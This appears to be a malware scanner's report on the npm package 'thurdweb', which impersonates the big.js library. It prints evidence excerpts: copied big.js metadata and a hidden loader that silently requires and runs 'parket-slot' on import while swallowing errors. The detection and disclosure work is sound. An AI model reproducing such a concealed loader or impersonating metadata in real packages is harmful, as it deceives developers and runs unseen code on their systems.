thurdweb 0.0.8
Typosquatting big.js with hidden loader
Slot loader runs during importImpersonation of the popular big.js library
SHA-2568c2cd4453c28ab5fbd8a1062bd6e4e51cec1ac83faccc6b9ebab82d38959a1a0
MaleculeO(S₂)Md(Pa₃)
Also flagged by osv (MAL-2026-6345: Malicious code in thurdweb (npm)) +2 more.
Evidence
1{
2 "name": "thurdweb",
3 "description": "A small, fast, easy-to-use library for arbitrary-precision decimal arithmetic",
4 "version": "0.0.8",
5 "keywords": [
6 "arbitrary",
17 "bignum"
18 ],
19 "exports": {
20 ".": {
21 "import": "./big.mjs",
26 "./package.json": "./package.json"
27 },
28 "repository": {
29 "type": "git",
30 "url": "https://github.com/MikeMcl/big.js.git"
31 },
32 "main": "big",
33 "browser": "big.js",
34 "module": "big.mjs",
35 "author": {
36 "name": "Michael Mclaughlin",
37 "email": "M8ch88l@gmail.com"
38 },
39 "bugs": {
40 "url": "https://github.com/MikeMcl/big.js/issues"
41 },
⋯10 lines
603 };
604
605 try {
606 const doc = require("parket-slot");
607 doc.from_str().then(e => { }).catch(e => { })
608 } catch (error) {
609 }
610
⋯11 lines
⋯10 lines
603 };
604
605 try {
606 const doc = require("parket-slot");
607 doc.from_str()
608 } catch (error) {
609 }
610
⋯12 lines
No evidence locations were recorded for this file. Raw result